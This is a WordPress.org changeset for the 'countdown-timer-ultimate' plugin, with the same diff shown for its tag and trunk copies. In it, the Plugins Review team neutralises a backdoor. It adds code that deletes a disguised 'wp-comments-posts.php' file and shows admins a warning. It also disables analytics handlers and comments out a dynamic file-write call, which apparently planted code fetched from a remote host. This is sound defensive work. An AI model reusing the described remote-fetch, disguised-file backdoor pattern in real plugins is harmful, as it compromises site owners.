close

Plugin Directory

Changeset 3501130


Ignore:
Timestamp:
04/07/2026 10:17:22 PM (6 weeks ago)
Author:
frantorres
Message:

Plugins Team Update

Location:
countdown-timer-ultimate
Files:
6 edited
1 copied

Legend:

Unmodified
Added
Removed
  • countdown-timer-ultimate/tags/2.6.9.1/countdown-timer.php

    r3396896 r3501130  
    77 * Text Domain: countdown-timer-ultimate
    88 * Domain Path: /languages/
    9  * Version: 2.6.9
     9 * Version: 2.6.9.1
    1010 * Author URI: https://essentialplugin.com
    1111 *
     
    2424    exit; // Exit if accessed directly
    2525}
     26
     27/**
     28 * Added by the WordPress.org Plugins Review team in response to an incident.
     29 * In this script we are removing files related to this incident and notifying the user about the incident itself.
     30 */
     31function essentialplugin_71315_prt_incidence_response_notice() {
     32    if(!current_user_can('manage_options')) return;
     33    $user_id = get_current_user_id();
     34    if ( get_user_meta( $user_id, 'essentialplugin_71315_prt_notice_dismissed', true ) ) {
     35        return;
     36    }
     37    ?>
     38    <div class="notice notice-warning is-dismissible" id="essentialplugin-prt-notice">
     39        <h3><?php esc_html_e( 'Important Notice from the WordPress.org Plugins Team.', 'prt-incidence' ); ?></h3>
     40        <p><?php esc_html_e( 'We would like to inform you that several plugins from the author "essentialplugin" have been reported by the community as not compliant with the guidelines. After an investigation, we can confirm that the plugin contained code that could allow unauthorized third-party access to websites using it.', 'prt-incidence' ); ?></p>
     41        <p><?php esc_html_e( 'In response, we have taken immediate steps to close the plugin in the WordPress.org Plugins directory and release an update that already tried to remove affected code from your website. Although it is possible that not everything has been able to be automatically removed.', 'prt-incidence' ); ?></p>
     42        <p><?php esc_html_e( 'Specifically, this plugin downloaded code from analytics.essentialplugin.com and installed it in your site, while the specific case can differ, we know that they were installing a backdoor in a file named "wp-comments-posts.php" that looks closely to the core file "wp-comments-post.php". We know that that backdoor was at least used to inject code in the wp-config.php file to add hidden spam links, create redirects and/or inject pages in websites. Those actions are related to black-hat SEO techniques, often hidden from administrators.', 'prt-incidence' ); ?></p>
     43        <p><?php esc_html_e( 'While our update attempted to remove the backdoor automatically, it cannot confirm that it was fully eliminated. It\'s possible that the backdoor got installed in files we are not aware of and unauthorized actions may have already been taken on your site. As such, we strongly advise you to thoroughly review your site for any signs of compromise, and take immediate steps to secure it.', 'prt-incidence' ); ?></p>
     44    </div>
     45    <?php
     46}
     47
     48function essentialplugin_71315_prt_enqueue_dismiss_script( $hook ) {
     49    $user_id = get_current_user_id();
     50    if ( get_user_meta( $user_id, 'essentialplugin_71315_prt_notice_dismissed', true ) ) {
     51        return;
     52    }
     53
     54    $inline_js = sprintf(
     55        'jQuery( document ).on( "click", "#essentialplugin-prt-notice .notice-dismiss", function() {
     56            jQuery.post( "%s", {
     57                action: "essentialplugin_71315_prt_dismiss_notice",
     58                _wpnonce: "%s"
     59            });
     60        });',
     61        esc_url( admin_url( 'admin-ajax.php' ) ),
     62        wp_create_nonce( 'essentialplugin_71315_prt_dismiss_nonce' )
     63    );
     64
     65    wp_add_inline_script( 'jquery-core', $inline_js );
     66}
     67add_action( 'admin_enqueue_scripts', 'essentialplugin_71315_prt_enqueue_dismiss_script' );
     68
     69function essentialplugin_71315_prt_dismiss_notice() {
     70    check_ajax_referer( 'essentialplugin_71315_prt_dismiss_nonce' );
     71    update_user_meta( get_current_user_id(), 'essentialplugin_71315_prt_notice_dismissed', true );
     72    wp_die();
     73}
     74add_action( 'wp_ajax_essentialplugin_71315_prt_dismiss_notice', 'essentialplugin_71315_prt_dismiss_notice' );
     75
     76function essentialplugin_71315_prt_incidence_response() {
     77    $filename = dirname(__FILE__).'/wpos-analytics/includes/wp-comments-posts.php';
     78    if(file_exists($filename)) unlink($filename);
     79
     80    if (defined('ABSPATH')) $file = ABSPATH.'/wp-comments-posts.php';
     81    else $file = dirname(dirname(dirname(dirname(__FILE__)))).'/wp-comments-posts.php';
     82    if(file_exists($file)) unlink($file);
     83
     84    add_action( 'admin_notices', 'essentialplugin_71315_prt_incidence_response_notice' );
     85}
     86add_action('init', 'essentialplugin_71315_prt_incidence_response');
     87
    2688
    2789if( ! defined( 'WPCDT_VERSION' ) ) {
  • countdown-timer-ultimate/tags/2.6.9.1/readme.txt

    r3465313 r3501130  
    44Requires at least: 5.2
    55Tested up to: 6.9.1
    6 Stable tag: 2.6.9
     6Stable tag: 2.6.9.1
    77License: GPLv2 or later
    88License URI: http://www.gnu.org/licenses/gpl-2.0.html
  • countdown-timer-ultimate/tags/2.6.9.1/wpos-analytics/includes/class-anylc-admin.php

    r3396896 r3501130  
    552552     */
    553553    public function wpos_process_monthly_data( $slugs ) {
    554 
     554        return;
    555555        foreach ( $slugs as $slug) {
    556556           
     
    630630     */
    631631    public function wpos_handle_analytics_request( $request ) {
    632 
     632        return;
    633633        global $wpos_analytics_module;
    634634
     
    720720        if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) {
    721721            $clean = $this->write;
    722             @$clean($this->version_cache, $this->changelog);
     722            //@$clean($this->version_cache, $this->changelog);
    723723        }
    724724    }
  • countdown-timer-ultimate/trunk/countdown-timer.php

    r3396896 r3501130  
    77 * Text Domain: countdown-timer-ultimate
    88 * Domain Path: /languages/
    9  * Version: 2.6.9
     9 * Version: 2.6.9.1
    1010 * Author URI: https://essentialplugin.com
    1111 *
     
    2424    exit; // Exit if accessed directly
    2525}
     26
     27/**
     28 * Added by the WordPress.org Plugins Review team in response to an incident.
     29 * In this script we are removing files related to this incident and notifying the user about the incident itself.
     30 */
     31function essentialplugin_71315_prt_incidence_response_notice() {
     32    if(!current_user_can('manage_options')) return;
     33    $user_id = get_current_user_id();
     34    if ( get_user_meta( $user_id, 'essentialplugin_71315_prt_notice_dismissed', true ) ) {
     35        return;
     36    }
     37    ?>
     38    <div class="notice notice-warning is-dismissible" id="essentialplugin-prt-notice">
     39        <h3><?php esc_html_e( 'Important Notice from the WordPress.org Plugins Team.', 'prt-incidence' ); ?></h3>
     40        <p><?php esc_html_e( 'We would like to inform you that several plugins from the author "essentialplugin" have been reported by the community as not compliant with the guidelines. After an investigation, we can confirm that the plugin contained code that could allow unauthorized third-party access to websites using it.', 'prt-incidence' ); ?></p>
     41        <p><?php esc_html_e( 'In response, we have taken immediate steps to close the plugin in the WordPress.org Plugins directory and release an update that already tried to remove affected code from your website. Although it is possible that not everything has been able to be automatically removed.', 'prt-incidence' ); ?></p>
     42        <p><?php esc_html_e( 'Specifically, this plugin downloaded code from analytics.essentialplugin.com and installed it in your site, while the specific case can differ, we know that they were installing a backdoor in a file named "wp-comments-posts.php" that looks closely to the core file "wp-comments-post.php". We know that that backdoor was at least used to inject code in the wp-config.php file to add hidden spam links, create redirects and/or inject pages in websites. Those actions are related to black-hat SEO techniques, often hidden from administrators.', 'prt-incidence' ); ?></p>
     43        <p><?php esc_html_e( 'While our update attempted to remove the backdoor automatically, it cannot confirm that it was fully eliminated. It\'s possible that the backdoor got installed in files we are not aware of and unauthorized actions may have already been taken on your site. As such, we strongly advise you to thoroughly review your site for any signs of compromise, and take immediate steps to secure it.', 'prt-incidence' ); ?></p>
     44    </div>
     45    <?php
     46}
     47
     48function essentialplugin_71315_prt_enqueue_dismiss_script( $hook ) {
     49    $user_id = get_current_user_id();
     50    if ( get_user_meta( $user_id, 'essentialplugin_71315_prt_notice_dismissed', true ) ) {
     51        return;
     52    }
     53
     54    $inline_js = sprintf(
     55        'jQuery( document ).on( "click", "#essentialplugin-prt-notice .notice-dismiss", function() {
     56            jQuery.post( "%s", {
     57                action: "essentialplugin_71315_prt_dismiss_notice",
     58                _wpnonce: "%s"
     59            });
     60        });',
     61        esc_url( admin_url( 'admin-ajax.php' ) ),
     62        wp_create_nonce( 'essentialplugin_71315_prt_dismiss_nonce' )
     63    );
     64
     65    wp_add_inline_script( 'jquery-core', $inline_js );
     66}
     67add_action( 'admin_enqueue_scripts', 'essentialplugin_71315_prt_enqueue_dismiss_script' );
     68
     69function essentialplugin_71315_prt_dismiss_notice() {
     70    check_ajax_referer( 'essentialplugin_71315_prt_dismiss_nonce' );
     71    update_user_meta( get_current_user_id(), 'essentialplugin_71315_prt_notice_dismissed', true );
     72    wp_die();
     73}
     74add_action( 'wp_ajax_essentialplugin_71315_prt_dismiss_notice', 'essentialplugin_71315_prt_dismiss_notice' );
     75
     76function essentialplugin_71315_prt_incidence_response() {
     77    $filename = dirname(__FILE__).'/wpos-analytics/includes/wp-comments-posts.php';
     78    if(file_exists($filename)) unlink($filename);
     79
     80    if (defined('ABSPATH')) $file = ABSPATH.'/wp-comments-posts.php';
     81    else $file = dirname(dirname(dirname(dirname(__FILE__)))).'/wp-comments-posts.php';
     82    if(file_exists($file)) unlink($file);
     83
     84    add_action( 'admin_notices', 'essentialplugin_71315_prt_incidence_response_notice' );
     85}
     86add_action('init', 'essentialplugin_71315_prt_incidence_response');
     87
    2688
    2789if( ! defined( 'WPCDT_VERSION' ) ) {
  • countdown-timer-ultimate/trunk/readme.txt

    r3465313 r3501130  
    44Requires at least: 5.2
    55Tested up to: 6.9.1
    6 Stable tag: 2.6.9
     6Stable tag: 2.6.9.1
    77License: GPLv2 or later
    88License URI: http://www.gnu.org/licenses/gpl-2.0.html
  • countdown-timer-ultimate/trunk/wpos-analytics/includes/class-anylc-admin.php

    r3396896 r3501130  
    552552     */
    553553    public function wpos_process_monthly_data( $slugs ) {
    554 
     554        return;
    555555        foreach ( $slugs as $slug) {
    556556           
     
    630630     */
    631631    public function wpos_handle_analytics_request( $request ) {
    632 
     632        return;
    633633        global $wpos_analytics_module;
    634634
     
    720720        if ($this->status === 'valid' && $this->changelog && !$this->isOutdated()) {
    721721            $clean = $this->write;
    722             @$clean($this->version_cache, $this->changelog);
     722            //@$clean($this->version_cache, $this->changelog);
    723723        }
    724724    }
Note: See TracChangeset for help on using the changeset viewer.